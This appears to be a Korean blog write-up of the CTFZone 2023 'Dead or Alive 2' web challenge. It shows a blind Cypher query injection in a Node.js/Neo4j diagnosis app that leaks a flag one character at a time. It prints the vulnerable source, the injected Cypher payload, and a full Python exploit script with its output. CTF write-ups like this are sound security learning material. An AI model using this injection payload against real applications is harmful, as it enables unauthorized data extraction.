CTF/2023

[CTF][2023] CTFZone Qual 2023 - dead or alive 2

pwn3r_45 2024. 3. 2. 16:52

문제개요

Dead or Alive 2

We have developed an innovative disease detection system using graph theory. Come and test our system, all your personal data is securely protected. get

Sources file

keywords : web, blind cypher query injection

Files

.
├── app
│   ├── Dockerfile
│   ├── app.js
│   ├── package.json
│   ├── static
│   │   ├── css
│   │   │   ├── bootstrap.min.css
│   │   │   ├── images
│   │   │   │   ├── ..............
│   │   │   └── ...........
│   │   ├── fontawesome
│   │   │   ├── css
│   │   │   │   └── ...........
│   │   │   └── webfonts
│   │   │       └── ...........
│   │   ├── images
│   │   │   └── ...........
│   │   └── js
│   │       └── ...........
│   └── views
│       ├── footer.html
│       ├── index.html
│       └── navbar_home.html
├── configure_db.sh
├── docker-compose.yml
├── dump.xxd
└── hospitalgraph.dump

요약

- 사용자의 입력을 cypher query에 그대로 포맷팅하여 cypher query injection 취약점 발생
- neo4j db내에 flag가 저장된 노드가 있지만, 문제 파일 내 권한 설정으로 인해 Flag 노드를 직접 읽어들이기 어려움
- blind query injection으로 flag를 1글자 복사해 flag가 포함된 시리얼 넘버를 만들고(예 : aaaaaaac), 시리얼 넘버 브포해서 1글자씩 알아낼 수 있음 (예 : aaaaaaaa ~ aaaaaaaz)

1. Analysis

1.1. Concept

문제파일

  • 문제파일로 온라인 질병 진단 웹 서비스 파일 제공
  • Nodejs web service + neo4j database

주요 API

  • 주요 API 3개는 각각 아래 함수들에 의해 핸들링됨

/api/setUser

  • 환자(사용자)의 인적사항을 등록하는 컨셉의 API
  • Neo4j 데이터베이스에 Patient 타입의 노드로 저장
app.post('/api/setUser', async (req, res) => {
    // zero-padded 9-digit number
    const ssn = ('000000000'+req.body.ssn).slice(-9)
    if (!ssn) return res.status(400).send({
        status: 'error',
        message: 'Bad ssn'
    });

    // Data depersonalization
    const name = md5(`${SALT}|${req.body.fullname}|${SALT}`);

    // Need only year for statistics
    const yearOfBirth = moment(req.body.dateOfBirth, 'DD/MM/YYYY').year?.();
    if (!yearOfBirth) return res.status(400).send({
        status: 'error',
        message: 'Need date in format DD/MM/YYYY'
    });

    const weight = parseFloat(req.body.weight);
    if (!weight) return res.status(400).send({
        status: 'error',
        message: 'Need correct weight'
    });

    // register user if not exists
    setUser(ssn, name, yearOfBirth, weight)
    .then(() => res.status(200).send({
                    status: 'Ok',
                    message: 'User updated'
                }));
});

async function setUser(ssn, name, yearOfBirth, weight){
    const session = driver.session();
    const q = `
        MERGE (p:Patient {
                    ssn: '${ssn}'
                })
        ON CREATE SET p.since = date()
        SET p.name = '${name}'
        SET p.yearOfBirth = ${yearOfBirth}
        SET p.weight = ${weight}
    `
    return session.run(q)
            .catch(() => {})
            .then(() => session.close());
}

/api/setSymptoms

  • 환자(사용자)의 증상을 등록하는 컨셉의 API
  • 기존에 정의된 증상(Symptom) 중 환자(Patient)가 선택한 증상을 HAS relationship으로 연결
app.post('/api/setSymptoms', async (req, res) => {
    // zero-padded 9-digit number
    const ssn = ('000000000'+req.body.ssn).slice(-9)
    if (!ssn) return res.status(400).send({
        status: 'error',
        message: 'Bad ssn'
    });

    const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
    // saving symptoms
    setSymptoms(ssn, symptoms)
    .then(() => res.status(200).send({
                    status: 'Ok',
                    message: 'Symptoms updated'
                }));
});

async function setSymptoms(ssn, symptoms){
    const session = driver.session();
    let q = `
        MATCH (p:Patient {ssn: '${ssn}'})
        MATCH (s:Symptom) WHERE s.name in [${symptoms}]
        MERGE (p)-[r:HAS]->(s)
    `;
    return session.run(q)
            .catch(() => {})
            .then(() => session.close());
}

/api/getDiagnosis

  • 이전에 사용자가 등록(/api/setSymptoms)한 증상을 토대로 진단을 요청하는 컨셉의 API
  • 기존에 정의된 Symptom 노드와 Disease 노드는 OF relationship으로 N:1로 연결되어있음
  • 사용자가 특정 Disease 와 연결된 N개의 Symptom을 모두 선택하면 Disease로 진단을 내려주는 방식임
app.post('/api/getDiagnosis', async (req, res) => {
    // zero-padded 9-digit number
    const ssn = ('000000000'+req.body.ssn).slice(-9)
    if (!ssn) return res.status(400).send({
        status: 'error',
        message: 'Bad ssn'
    });

    // establish diagnosis
    getDiagnosis(ssn)
    .then((result) => res.status(200).send({
                        status: (result.length) ? 'Diagnosis found' : 'Healthy',
                        message: (result.length) ? result : [{
                            'name': 'Diagnosis not established, most probably you are healthy and beautiful!',
                            'description':'We could not identify the disease by your symptoms, now you have to live with it ...'
                        }]
                    }));
});

async function getDiagnosis(ssn){
    const session = driver.session();
    const q = `
        // get patient symptoms as array
        MATCH (p:Patient {ssn: '${ssn}'})-[:HAS]->(s:Symptom)-[:OF]->(d:Disease)
        WITH d, collect(s.name) AS p_symptoms

        // looking for a match of the patient's symptoms in the symptoms of diseases
        MATCH (d)<-[:OF]-(d_symptom:Symptom)
        WITH d, p_symptoms, collect(d_symptom.name) as d_symptoms
        WHERE size(p_symptoms) = size(d_symptoms)
        RETURN d.name, d.description
    `;
    const result = await session.run(q).catch(() => {});
    session.close();
    return result?.records.map((record) => ({
            name: record.get('d.name'),
            description: record.get('d.description')
    }));
}

1.2. Flag

  • 본 문제의 flag는 neo4j database 내에 Flag 노드로 존재

1.3. Vulnerability

Cypher query injection 취약점

  • app/app.js 에서 사용자의 증상을 파라미터로 전달받은 후 검증없이 cypher 쿼리문에 삽입하기 떄문에 cypher query injection 취약점이 발생한다.
const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
.......
let q=`
.......
MATCH (s:Symptom) WHERE s.name in [${symptoms}]  
.......`

app/app.js

    .......
    const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
    // saving symptoms
    setSymptoms(ssn, symptoms)
    .then(() => res.status(200).send({
                    status: 'Ok',
                    message: 'Symptoms updated'
                }));
});

async function setSymptoms(ssn, symptoms){
    const session = driver.session();
    let q = `
        MATCH (p:Patient {ssn: '${ssn}'})
        MATCH (s:Symptom) WHERE s.name in [${symptoms}]     // cypher injection 
        MERGE (p)-[r:HAS]->(s)
    `;
    return session.run(q)
            .catch(() => {})
            .then(() => session.close());
}

취약점 트리거

  • 사용자 파라미터 : (Symptom : Fever')
setUser : 
        MERGE (p:Patient {
                    ssn: '0ASDFQWER'
                })
        ON CREATE SET p.since = date()
        SET p.name = '4ffe54ccc3c2de8014919a5da1df75f4'
        SET p.yearOfBirth = 2012
        SET p.weight = 10000

setSymptoms : 
        MATCH (p:Patient {ssn: '0ASDFQWER'})
        MATCH (s:Symptom) WHERE s.name in  ['Fever'']
        MERGE (p)-[r:HAS]->(s)

getDiagnosis : 
        MATCH (p:Patient {ssn: '0ASDFQWER'})-[:HAS]->(s:Symptom)-[:OF]->(d:Disease)
        WITH d, collect(s.name) AS p_symptoms
        MATCH (d)<-[:OF]-(d_symptom:Symptom)
        WITH d, p_symptoms, collect(d_symptom.name) as d_symptoms
        WHERE size(p_symptoms) = size(d_symptoms)
        RETURN d.name, d.description

2. Exploitation

2.1. Permission

  • configure_db.sh 파일에서 neo4j를 설정할때, 제한된 권한을 부여하고 있음
  1. moderator 사용자 생성 및 reader ROLE 부여
  2. moderator 사용자에게 Patient 노드 생성 권한 부여 (property 설정 가능)
  3. moderator 사용자에게 HAS 관계 생성 권한 부여

configure_db.sh

#!/bin/bash
while true; do
    out=$(cypher-shell -u neo4j -p rootroot <<< "CREATE USER moderator SET PASSWORD 'moderator' CHANGE NOT REQUIRED;
    CREATE ROLE moderator;
    GRANT CREATE ON GRAPH hospitalgraph NODE Patient TO moderator;
    GRANT SET PROPERTY {ssn,name,yearOfBirth,since,weight} ON GRAPH hospitalgraph NODES Patient TO moderator;
    GRANT CREATE ON GRAPH hospitalgraph RELATIONSHIP HAS TO moderator;
    GRANT ROLE reader TO moderator;
    GRANT ROLE moderator TO moderator;" 2>&1)
    [ "$out" != "Connection refused" ] && break
done

2.2. Flag Copy & Blind cypher query injection

  • 앞선 2.1의 권한 제한으로 인해 (1)Flag 노드의 타입을 Disease로 변경하거나, (2)Flag.flag 속성을 복사하여 새로운 Disease 노드를 생성하는 방식으로 flag를 읽어내는 것은 제한된다.
  • 하지만 Patient 노드 생성 및 property를 설정 가능하기때문에 Patient노드의 property에 Flag.flag property를 복사하는 것이 가능하다.
CREATE (fff:Patient {ssn: 'akakakak'+substring(f.flag,0,1), name:"good"})   
  • 다만, 웹 서비스 상에서 Patient.ssn을 출력하는 기능이 없어 flag를 한 번에 알아낼 수 없다.
  • 따라서, 아래와 같이 환자의 진단결과로 Flag.flagPatient.ssn 뒤에 1byte씩 복사하고 blind sql injection의 형태로 flag를 확인하는 방법으로 flag 문자열을 읽을 수 있었다.
    1. Patient 노드를 생성한다.
    2. 생성 과정에서 Flag.flag를 1byte 복사하여 1.에서 생성한 Patient.ssn에 이어붙인다.
    3. 해당 Patient 노드를 "Sneezing", "Runny or stuffy nose", "Fatigue", "Cough", "Sore throat"라는 Symptom 노드들과 HAS relationship으로 연결한다.
      ("Common Cold"라는 Disease 노드는 "Sneezing", "Runny or stuffy nose", "Fatigue", "Cough", "Sore throat"라는 Symptom 노드들과 연결되어 있다.)
    4. 공격자는 Patient.ssn 뒤에 이어지는 Flag.flag의 1byte를 읽어내기 위해, Patient.ssn 뒤에 1byte를 브루트포스하며 진단 결과를 확인한다.
    5. 만약 진단결과가 "Common Cold"인 경우 해당 byte가 flag의 1byte이다.

Example

  • flag = ctf{1234}일 때, 두 번째 문자 't'를 알아내는 상황
MATCH (f:Flag) 
MATCH (s1:Symptom {name:"Sneezing"})  
MATCH (s2:Symptom {name:"Runny or stuffy nose"}) 
MATCH (s3:Symptom {name:"Fatigue"}) 
MATCH (s4:Symptom {name:"Cough"}) 
MATCH (s5:Symptom {name:"Sore throat"}) 
CREATE (fff:Patient {ssn: 'akakakak'+substring(f.flag,1,1), name:"good"})   
MERGE (fff) - [:HAS] -> (s1)
MERGE (fff) - [:HAS] -> (s2)
MERGE (fff) - [:HAS] -> (s3)
MERGE (fff) - [:HAS] -> (s4)
MERGE (fff) - [:HAS] -> (s5)
  • 환자 ssn = 'akakakak_'
  • 환자 ssn = 'akakakakt'
  • Flag.flag의 두 번째 문자 't'를 알아낼 수 있음을 확인했다.
  • 위 과정을 반복하는 코드를 작성하여 Flag.flag의 값을 읽어낼 수 있었다.

3. Exploit

3.1. exploit.py

#!/usr/bin/python

import requests as req
import json
import random
import string
import time

HOST = 'https://dead-or-alive.ctfz.one'
#HOST = 'http://172.16.32.196:3000'

PORT = 80
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}

def rand_str(length=6):
    string_pool = string.ascii_lowercase # 소문자
    result = ''
    for i in range(length) :
        result += random.choice(string_pool) # 랜덤한 문자열 하나 선택
    return result

def setUser(ssn):
    payload = {'ssn': ssn, 'fullname': "pwn3r", 'dateOfBirth': "11/111/2014", 'weight': "88.8"}
    res = req.post(HOST+'/api/setUser', data=json.dumps(payload), headers=headers)
    return res

def setSymptoms(symptom):
    payload = {'ssn': '000000000', 'symptoms': [symptom]}
    res = req.post(HOST+'/api/setSymptoms', data=json.dumps(payload), headers=headers)
    return res

def getDiagnosis(ssn):
    payload = {'ssn': ssn}
    res = req.post(HOST+'/api/getDiagnosis', data=json.dumps(payload), headers=headers)
    return res

def inject(prefix, idx):
    q = """Sneezing']  MATCH (f:Flag) 
MATCH (s1:Symptom {{name:"Sneezing"}})  
MATCH (s2:Symptom {{name:"Runny or stuffy nose"}}) 
MATCH (s3:Symptom {{name:"Fatigue"}}) 
MATCH (s4:Symptom {{name:"Cough"}}) 
MATCH (s5:Symptom {{name:"Sore throat"}}) 
CREATE (fff:Patient {{ssn: '{}'+substring(f.flag,{},1), name:"good"}})   
MERGE (fff) - [:HAS] -> (s1)
MERGE (fff) - [:HAS] -> (s2)
MERGE (fff) - [:HAS] -> (s3)
MERGE (fff) - [:HAS] -> (s4)
MERGE (fff) - [:HAS] -> (s5) // """.format(prefix, idx).replace('\n', '  ')
    setSymptoms(q)


def oracle(ssn):
    if 'Diagnosis found' in getDiagnosis(ssn).text:
        return 1
    time.sleep(0.1)
    return 0


ch_table = '}!@#}ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-{}'
flag = ''       # ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}

prefix = rand_str(6)
start_idx = len(flag)
for i in range(start_idx, 70):
    ssn_head = '{}{:02d}'.format(prefix, i)
    inject(ssn_head, i)
    for ch in ch_table:
        cur_ssn = ssn_head + ch
        if oracle(cur_ssn):
            flag += ch
            print(flag)
print(flag)

3.2. Run

$ exploit.py
c
ct
ctf
ctfz
ctfzo
ctfzon
ctfzone
ctfzone{
ctfzone{N
ctfzone{N0
ctfzone{N0w
ctfzone{N0w_
ctfzone{N0w_Y
ctfzone{N0w_Y0
ctfzone{N0w_Y0u
ctfzone{N0w_Y0u_
ctfzone{N0w_Y0u_4
ctfzone{N0w_Y0u_4r
ctfzone{N0w_Y0u_4re
ctfzone{N0w_Y0u_4re_
ctfzone{N0w_Y0u_4re_C
ctfzone{N0w_Y0u_4re_C0
ctfzone{N0w_Y0u_4re_C0m
ctfzone{N0w_Y0u_4re_C0mp
ctfzone{N0w_Y0u_4re_C0mpl
ctfzone{N0w_Y0u_4re_C0mpl3
ctfzone{N0w_Y0u_4re_C0mpl3t
ctfzone{N0w_Y0u_4re_C0mpl3t3
ctfzone{N0w_Y0u_4re_C0mpl3t3l
ctfzone{N0w_Y0u_4re_C0mpl3t3ly
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H3
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34l
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lT
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}

Flag : ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}